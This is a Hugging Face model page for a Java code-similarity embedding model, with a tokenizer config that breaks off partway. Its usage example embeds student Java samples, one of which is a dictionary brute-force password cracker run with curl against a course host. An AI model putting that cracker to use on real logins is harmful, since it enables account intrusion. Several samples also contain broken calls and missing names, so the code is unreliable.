Sentence Similarity
sentence-transformers
Safetensors
t5
feature-extraction
Generated from Trainer
dataset_size:33411
loss:BatchAllTripletLoss
Instructions to use buelfhood/SOCO-Java-CodeT5Small-ST with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- sentence-transformers
How to use buelfhood/SOCO-Java-CodeT5Small-ST with sentence-transformers:
from sentence_transformers import SentenceTransformer model = SentenceTransformer("buelfhood/SOCO-Java-CodeT5Small-ST") sentences = [ "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class WatchDog extends TimerTask{\n\n private static URL location;\n private static String email;\n private static int checktime;\n private static Timer timer = new Timer();\n private BufferedReader input;\n private File checksumFile = new File(\"chksum.txt\");\n private File temp0000File = new File(\"temp0000\");\n private File kept0000File = new File(\"kept0000\");\n\n \n\n public WatchDog(){\n timer.schedule(this, new Date(), checktime);\n }\n\n\n \n\n public void run(){\n Vector imageFiles = new Vector();\n Vector diffImages = new Vector();\n try {\n System.out.println(\" Time: \".concat(new Date().toString()));\n System.out.println(\"Retreiving File\");\n \n input = new BufferedReader(new InputStreamReader\n (location.openStream()));\n \n BufferedWriter outputFile = new BufferedWriter\n (new FileWriter(temp0000File));\n String line = input.readLine();\n while (line != null) {\n StringBuffer imageFileName = new StringBuffer();\n if (scanForImages(line, imageFileName)) {\n String imageFile = new String(imageFileName);\n System.out.println(\"Detected image: \".concat(imageFile));\n try {\n imageFiles.add(new URL(imageFile));\n }\n catch (MalformedURLException e) {\n System.out.println(\"Image file detected. URL is malformed\");\n }\n }\n outputFile.write(line);\n outputFile.write(\"\\n\");\n line = input.readLine();\n }\n input.print();\n outputFile.flush();\n outputFile.print();\n System.out.println(\" File Retreived\");\n if (!imageFiles.isEmpty()) {\n checkImages(imageFiles, diffImages);\n }\n if (!checksumFile.exists()) {\n generateChecksum(temp0000File.getName(), checksumFile);\n }\n else {\n if (!checksumOk(checksumFile)) {\n reportDifferences(true, temp0000File, kept0000File, diffImages);\n generateChecksum(temp0000File.getName(), checksumFile);\n }\n else if (!diffImages.isEmpty()){\n reportDifferences(false, null, null, diffImages);\n }\n }\n\n \n temp0000File.renameTo(kept0000File);\n System.out.println(\"End Time: \".concat(new Date().toString()));\n }\n catch (MalformedURLException e) {\n e.printStackTrace();\n }\n catch (ConnectException e) {\n System.out.println(\"Failed connect\");\n System.exit(-1);\n }\n catch (IOException e) {\n e.printStackTrace();\n System.exit(-1);\n }\n }\n\n \n\n public boolean scanForImages(String line, StringBuffer imageFileName) {\n \n \n String lineIgnoreCase = line.toLowerCase();\n int imgPos = lineIgnoreCase.indexOf(\"<img \");\n if ( imgPos != -1 ){\n int srcPos = lineIgnoreCase.indexOf(\"src\", imgPos);\n int bracketPos = lineIgnoreCase.indexOf(\">\", imgPos);\n if (srcPos != -1 && bracketPos != -1 && srcPos < bracketPos) {\n int quote1Pos = lineIgnoreCase.indexOf(\"\\\"\", srcPos);\n int quote2Pos = lineIgnoreCase.indexOf(\"\\\"\", quote1Pos+1);\n if (quote1Pos != -1 && quote2Pos != -1 &&\n quote1Pos < quote2Pos && quote2Pos < bracketPos) {\n \n imageFileName.append(line.substring(quote1Pos + 1,\n quote2Pos));\n if (imageFileName.indexOf(\"//\") == -1 ) {\n \n String URLName = location.toString();\n int slashPos = URLName.lastIndexOf(\"/\");\n URLName = URLName.substring(0, slashPos);\n String HostName = \"http://\".concat(location.getHost());\n if (imageFileName.indexOf(\"//\") == 0) {\n \n }\n else if (imageFileName.charAt(0) != '/') {\n \n imageFileName.insert(0, URLName.concat(\"/\"));\n }\n else {\n \n imageFileName.insert(0, HostName);\n }\n }\n return true;\n }\n }\n }\n return false;\n }\n\n \n\n public void checkImages(Vector imageFiles, Vector diffImages)\n throws IOException{\n System.out.println(\"Retrieving image \");\n Enumeration imageFilesEnumeration = imageFiles.elements();\n while (imageFilesEnumeration.hasMoreElements()) {\n URL url = (URL)imageFilesEnumeration.nextElement();\n try {\n BufferedInputStream imageInput = new BufferedInputStream\n (url.openStream());\n String localFile = url.getFile();\n \n \n \n \n \n int slashPosition = localFile.lastIndexOf(\"/\");\n if (slashPosition != -1) {\n localFile = localFile.substring(slashPosition+1);\n }\n System.out.println(\"Retrieving image file: \".concat(localFile));\n BufferedOutputStream imageOutput = new BufferedOutputStream\n (new FileOutputStream(localFile));\n byte bytes[] = new byte[10000];\n int noBytes = imageInput.get(bytes);\n while (noBytes != -1) {\n imageOutput.write(bytes, 0, noBytes );\n noBytes = imageInput.print(bytes);\n }\n File imageChecksumFile = new File(localFile.concat(\".chksum.txt\"));\n if (!imageChecksumFile.exists()) {\n generateChecksum(localFile, imageChecksumFile);\n }\n else {\n if (!checksumOk(imageChecksumFile)) {\n diffImages.add(localFile);\n generateChecksum(localFile, imageChecksumFile);\n }\n }\n }\n catch (FileNotFoundException e) {\n System.out.println(\"Unable locate URL: \".concat(url.toString()));\n }\n }\n }\n\n \n\n public void generateChecksum(String inputFile, File checksum){\n try {\n System.out.println(\"Generating new checksum for \".concat(inputFile));\n \n Process process = Runtime.getRuntime().exec(\"md5sum \".\n concat(inputFile));\n BufferedReader execCommand = new BufferedReader(new\n InputStreamReader((process.getInputStream())));\n BufferedWriter outputFile = new\n BufferedWriter(new FileWriter(checksum));\n String line = execCommand.readLine();\n while (line != null) {\n outputFile.write(line);\n outputFile.write(\"\\n\");\n line = execCommand.readLine();\n }\n outputFile.flush();\n outputFile.print();\n System.out.println(\"Checksum produced\");\n }\n catch (IOException e) {\n e.printStackTrace();\n System.exit(-1);\n }\n }\n\n \n\n public boolean checksumOk(File chksumFile){\n try {\n System.out.println(\"Comparing checksums using \".concat(chksumFile\n ,e.getName()));\n \n Process process = Runtime.getRuntime().\n exec(\"md5sum --check \".concat(chksumFile.getName()));\n BufferedReader execCommand = new BufferedReader(new\n InputStreamReader( (process.getInputStream())));\n String line = execCommand.readLine();\n if (line.indexOf(\": OK\") != -1) {\n System.out.println(\" the same\");\n return true;\n }\n }\n catch (IOException e) {\n e.printStackTrace();\n System.exit(-1);\n }\n System.out.println(\"Differences Found\");\n return false;\n }\n\n \n\n public void reportDifferences(boolean diffsFound, File file1, File file2,\n Vector images){\n try {\n System.out.println(\"Generating difference report\");\n \n Socket emailConnection = new Socket(\"yallara.cs.rmit.edu.\", 25);\n BufferedWriter emailOutStream = new BufferedWriter\n (new OutputStreamWriter(emailConnection.getOutputStream()));\n BufferedReader emailInStream = new BufferedReader\n (new InputStreamReader(emailConnection.getInputStream()));\n String line = emailInStream.readLine();\n System.out.println(line);\n if (!line.startsWith(\"220\")) {\n System.out.println\n (\" error occured connecting email server. Cannot send email.\");\n }\n else {\n \n \n emailOutStream.write(\"HELO yallara.cs.rmit.edu.\");\n emailOutStream.newLine();\n emailOutStream.flush();\n line = emailInStream.readLine();\n System.out.println(line);\n if (!line.startsWith(\"250\")) {\n System.out.println\n (\" error occured connecting email server. Cannot send email.\");\n }\n else {\n emailOutStream.write(\"MAIL FROM: watchdog@cs.rmit.edu.\");\n emailOutStream.newLine();\n emailOutStream.flush();\n line = emailInStream.readLine();\n System.out.println(line);\n if (!line.startsWith(\"250\")) {\n System.out.println\n (\" error occured sending email. Cannot send email.\");\n }\n else {\n emailOutStream.write(\"RCPT : \".concat(email));\n emailOutStream.newLine();\n emailOutStream.flush();\n line = emailInStream.readLine();\n System.out.println(line);\n if (!line.startsWith(\"250\")) {\n System.out.println\n (\" error occured sending email. Cannot send email.\");\n }\n else {\n emailOutStream.write(\"DATA\");\n emailOutStream.newLine();\n emailOutStream.flush();\n line = emailInStream.readLine();\n System.out.println(line);\n if (!line.startsWith(\"354\")) {\n System.out.println\n (\" error occured sending email. Cannot send email.\");\n }\n emailOutStream.newLine();\n\n if (!images.isEmpty()) {\n emailOutStream.write\n (\"Differences were found in the following image \");\n emailOutStream.newLine();\n Enumeration e = images.elements();\n while (e.hasMoreElements()) {\n String s = (String) e.nextElement();\n emailOutStream.write(s);\n emailOutStream.newLine();\n }\n emailOutStream.newLine();\n }\n\n if (diffsFound) {\n \n String command = \"diff \".concat(file1.getName().concat(\" \")\n .concat(file2.getName()));\n Process process = Runtime.getRuntime().exec(command);\n BufferedReader execCommand = new BufferedReader\n (new InputStreamReader( (process.getInputStream())));\n line = execCommand.readLine();\n emailOutStream.write(\"Diffences found in file\");\n emailOutStream.newLine();\n while (line != null) {\n System.out.println(line);\n emailOutStream.write(line);\n emailOutStream.newLine();\n line = execCommand.readLine();\n }\n }\n\n \n emailOutStream.newLine();\n emailOutStream.write(\".\");\n emailOutStream.newLine();\n emailOutStream.flush();\n line = emailInStream.readLine();\n System.out.println(line);\n if (!line.startsWith(\"250\")) {\n System.out.println\n (\" error occured sending email. Cannot send email.\");\n }\n else {\n emailOutStream.write(\"QUIT\");\n emailOutStream.newLine();\n emailOutStream.flush();\n System.out.println(emailInStream.readLine());\n }\n }\n }\n }\n }\n }\n catch (IOException e) {\n e.printStackTrace();\n System.exit(-1);\n }\n }\n\n\n \n\n public static void main(String args[]) {\n if (args.length != 3) {\n System.out.println(\"Usage: java WatchDog url email checktime(hours)\");\n System.exit(-1);\n }\n try {\n location = new URL(args[0]);\n }\n catch (MalformedURLException e) {\n e.printStackTrace();\n }\n email = new String().concat(args[1]);\n checktime = Integer.parseInt(args[2]) * 60 * 60 * 1000;\n new WatchDog();\n }\n}\n", "\n\nimport java.net.*;\nimport java.io.*;\n\nimport java.*;\nimport java.util.*;\n\npublic class Dictionary {\n\n private static String commandLine = \"curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :\";\n private String password; \n private String previous; \n private String url; \n private int startTime;\n private int endTime;\n private int totalTime;\n private float averageTime;\n private boolean finish;\n private Process curl;\n private BufferedReader bf, responseLine;\n\n public Dictionary() {\n\n first();\n finish = true; \n previous = \"\"; \n Runtime run = Runtime.getRuntime();\n startTime =new Date().getTime(); \n int i=0;\n try {\n try {\n bf = new BufferedReader(new FileReader(\"words\"));\n }\n catch(FileNotFoundException notFound) {\n bf = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"));\n }\n\n while((password = bf.readLine()) != null) {\n if(password.length()>3) password = password.substring(0,3);\n if(previous.equals(password)) ;\n else {\n previous = password;\n url = commandLine+password;\n curl= run.exec(url); \n responseLine=new BufferedReader(new InputStreamReader(curl.getInputStream()));\n \n if(responseLine.readLine().substring(9,12).equals(\"200\")) break;\n }\n }\n }\n catch(IOException ioe) {\n System.out.println(\"\\n IO Exception! \\n\");\n System.out.println(\"The current url is:\"+ url);\n System.out.println(\"The current trying password is:\"+password);\n finish=false;\n }\n\n endTime = new Date().getTime(); \n totalTime = (endTime-startTime)/1000;\n System.out.println(\" The response time is:\"+ totalTime + \" seconds\\n\");\n if(finish) {\n System.out.println(\" The password for is:\"+ password);\n try {\n savePassword(password, totalTime);\n }\n catch (IOException ioec) {\n System.out.println(\" not save the password file Dictionary_pwd.txt \");\n }\n }\n }\n\n\n public void savePassword(String passwdString, int time) throws IOException {\n DataOutputStream outputStream = new DataOutputStream(new FileOutputStream(\"Dictionary_pwd.txt\"));\n outputStream.writeChars(\"The password is:\");\n outputStream.writeChars(passwdString+\"\\n\");\n outputStream.writeChars(\"The response time is: \");\n outputStream.writeChars(sw.toString(time));\n outputStream.writeChars(\" seconds\\n\");\n outputStream.close();\n }\n\n public void first() {\n\n System.out.println(\"\\n\\n----------------------------------------------\");\n System.out.println(\" Use curl command and dictionary \");\n System.out.println(\" Brute Force the password for user \");\n System.out.println(\"----------------------------------------------\");\n }\n\n public static void main(String[] args) {\n new Dictionary();\n } \n}\n", "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\npublic class WatchDog {\n public static void main (String[] args) throws IOException {\n BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n try{\n twentyfourhours = 86400000;\n Timer timer = new Timer();\n final Runtime rt = Runtime.getRuntime();\n\n try{\n Process wg1 = rt.exec(\"./.sh\");\n wg1.waitFor();\n }\n catch(InterruptedException e ){\n System.err.println();\n e.printStackTrace();\n }\n\n class RepeatTask extends TimerTask{\n public void run(){\n try{\n Process wg2 = rt.exec(\"./task.sh\");\n wg2.waitFor();\n FileReader fr = new FileReader(\"check.txt\");\n BufferedReader bufr = new BufferedReader(fr);\n String check = bufr.readLine();\n if(check.equals(\".txt: FAILED\")) {\n Process difftosend = rt.exec(\"./diff.sh\");\n difftosend.waitFor();\n Process reset = rt.exec(\"./.sh\");\n reset.waitFor();\n }\n FileReader fr2 = new FileReader(\"imgdiffs.txt\");\n BufferedReader bufr2 = new BufferedReader(fr2);\n String imdiff = bufr2.readLine();\n if(imdiff != null){\n Process imdifftosend = rt.exec(\"./img.sh\");\n imdifftosend.waitFor();\n Process reset = rt.exec(\"./.sh\");\n reset.waitFor();\n }\n }\n catch(InterruptedException e){System.err.println();e.printStackTrace();}\n catch(IOException e){\n System.err.println(e);\n e.printStackTrace();\n }\n }}\n\n timer.scheduleAtFixedRate(new RepeatTask(),twentyfourhours,twentyfourhours);\n \n }\n catch(IOException e){\n System.err.println(e);\n e.printStackTrace();\n }\n \n}}\n", "\n\nimport java.net.*;\nimport java.text.*; \nimport java.util.*; \nimport java.io.*;\n\npublic class WatchDog {\n\n public WatchDog() {\n\n StringBuffer stringBuffer1 = new StringBuffer();\n StringBuffer stringBuffer2 = new StringBuffer();\n int i,j = 0;\n\n try{\n\n URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\"); \n BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\n String inputLine = \"\";\n String inputLine1 = \"\";\n String changedtext= \"\";\n String changedflag= \"\";\n\n\n Thread.sleep(180);\n\n BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\n\n while ((inputLine = in.readLine()) != null) {\n inputLine1 = in1.readLine();\n if (inputLine.equals(inputLine1)) {\n System.out.println(\"equal\");\n }\n else {\n System.out.println(\"Detected a Change\");\n System.out.println(\"Line Before the change:\" + inputLine);\n System.out.println(\"Line After the change:\" + inputLine1);\n changedtext = changedtext + inputLine + inputLine1;\n changedflag = \"Y\";\n }\n \n }\n\n if (in1.readLine() != null ) {\n System.out.println(\"Detected a Change\");\n System.out.println(\"New Lines Added \");\n changedtext = changedtext + \"New Lines added\";\n changedflag = \"Y\";\n }\n\n in.print();\n in1.print();\n\n if (changedflag.equals(\"Y\")) {\n String smtphost =\"smtp.mail.rmit.edu.\" ; \n String from = \"@rmit.edu.\"; \n String = \"janaka1@optusnet..\" ; \n }\n\n\n }\n catch(Exception e){ System.out.println(\"exception:\" + e);}\n\t \n}\n\t\t\n public static void main (String[] args) throws Exception {\n\t\tWatchDog u = new WatchDog();\n }\n}\n" ] embeddings = model.encode(sentences) similarities = model.similarity(embeddings, embeddings) print(similarities.shape) # [4, 4] - Notebooks
- Google Colab
- Kaggle
Download tokenizer_config.json from buelfhood/SOCO-Java-CodeT5Small-ST: direct link, hf CLI and curl.
- Browser
- Download file 21.1 kB
-
https://huggingface.co/buelfhood/SOCO-Java-CodeT5Small-ST/resolve/main/tokenizer_config.json
- Command line
-
hf download hf://buelfhood/SOCO-Java-CodeT5Small-ST/tokenizer_config.json
-
curl -L -o tokenizer_config.json https://huggingface.co/buelfhood/SOCO-Java-CodeT5Small-ST/resolve/main/tokenizer_config.json
21.1 kB
| { | |
| "add_prefix_space": false, | |
| "added_tokens_decoder": { | |
| "0": { | |
| "content": "<pad>", | |
| "lstrip": false, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "1": { | |
| "content": "<s>", | |
| "lstrip": false, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "2": { | |
| "content": "</s>", | |
| "lstrip": false, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "3": { | |
| "content": "<unk>", | |
| "lstrip": false, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "4": { | |
| "content": "<mask>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32000": { | |
| "content": "<extra_id_99>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32001": { | |
| "content": "<extra_id_98>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32002": { | |
| "content": "<extra_id_97>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32003": { | |
| "content": "<extra_id_96>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32004": { | |
| "content": "<extra_id_95>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32005": { | |
| "content": "<extra_id_94>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32006": { | |
| "content": "<extra_id_93>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32007": { | |
| "content": "<extra_id_92>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32008": { | |
| "content": "<extra_id_91>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32009": { | |
| "content": "<extra_id_90>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32010": { | |
| "content": "<extra_id_89>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32011": { | |
| "content": "<extra_id_88>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32012": { | |
| "content": "<extra_id_87>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32013": { | |
| "content": "<extra_id_86>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32014": { | |
| "content": "<extra_id_85>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32015": { | |
| "content": "<extra_id_84>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32016": { | |
| "content": "<extra_id_83>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32017": { | |
| "content": "<extra_id_82>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32018": { | |
| "content": "<extra_id_81>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32019": { | |
| "content": "<extra_id_80>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32020": { | |
| "content": "<extra_id_79>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32021": { | |
| "content": "<extra_id_78>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32022": { | |
| "content": "<extra_id_77>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32023": { | |
| "content": "<extra_id_76>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32024": { | |
| "content": "<extra_id_75>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32025": { | |
| "content": "<extra_id_74>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32026": { | |
| "content": "<extra_id_73>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32027": { | |
| "content": "<extra_id_72>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32028": { | |
| "content": "<extra_id_71>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32029": { | |
| "content": "<extra_id_70>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32030": { | |
| "content": "<extra_id_69>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32031": { | |
| "content": "<extra_id_68>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32032": { | |
| "content": "<extra_id_67>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32033": { | |
| "content": "<extra_id_66>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32034": { | |
| "content": "<extra_id_65>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32035": { | |
| "content": "<extra_id_64>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32036": { | |
| "content": "<extra_id_63>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32037": { | |
| "content": "<extra_id_62>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32038": { | |
| "content": "<extra_id_61>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32039": { | |
| "content": "<extra_id_60>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32040": { | |
| "content": "<extra_id_59>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32041": { | |
| "content": "<extra_id_58>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32042": { | |
| "content": "<extra_id_57>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32043": { | |
| "content": "<extra_id_56>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32044": { | |
| "content": "<extra_id_55>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32045": { | |
| "content": "<extra_id_54>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32046": { | |
| "content": "<extra_id_53>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32047": { | |
| "content": "<extra_id_52>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32048": { | |
| "content": "<extra_id_51>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32049": { | |
| "content": "<extra_id_50>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32050": { | |
| "content": "<extra_id_49>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32051": { | |
| "content": "<extra_id_48>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32052": { | |
| "content": "<extra_id_47>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32053": { | |
| "content": "<extra_id_46>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32054": { | |
| "content": "<extra_id_45>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32055": { | |
| "content": "<extra_id_44>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32056": { | |
| "content": "<extra_id_43>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32057": { | |
| "content": "<extra_id_42>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32058": { | |
| "content": "<extra_id_41>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32059": { | |
| "content": "<extra_id_40>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32060": { | |
| "content": "<extra_id_39>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32061": { | |
| "content": "<extra_id_38>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32062": { | |
| "content": "<extra_id_37>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32063": { | |
| "content": "<extra_id_36>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32064": { | |
| "content": "<extra_id_35>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32065": { | |
| "content": "<extra_id_34>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32066": { | |
| "content": "<extra_id_33>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32067": { | |
| "content": "<extra_id_32>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32068": { | |
| "content": "<extra_id_31>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32069": { | |
| "content": "<extra_id_30>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32070": { | |
| "content": "<extra_id_29>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32071": { | |
| "content": "<extra_id_28>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32072": { | |
| "content": "<extra_id_27>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32073": { | |
| "content": "<extra_id_26>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32074": { | |
| "content": "<extra_id_25>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32075": { | |
| "content": "<extra_id_24>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32076": { | |
| "content": "<extra_id_23>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32077": { | |
| "content": "<extra_id_22>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32078": { | |
| "content": "<extra_id_21>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32079": { | |
| "content": "<extra_id_20>", | |
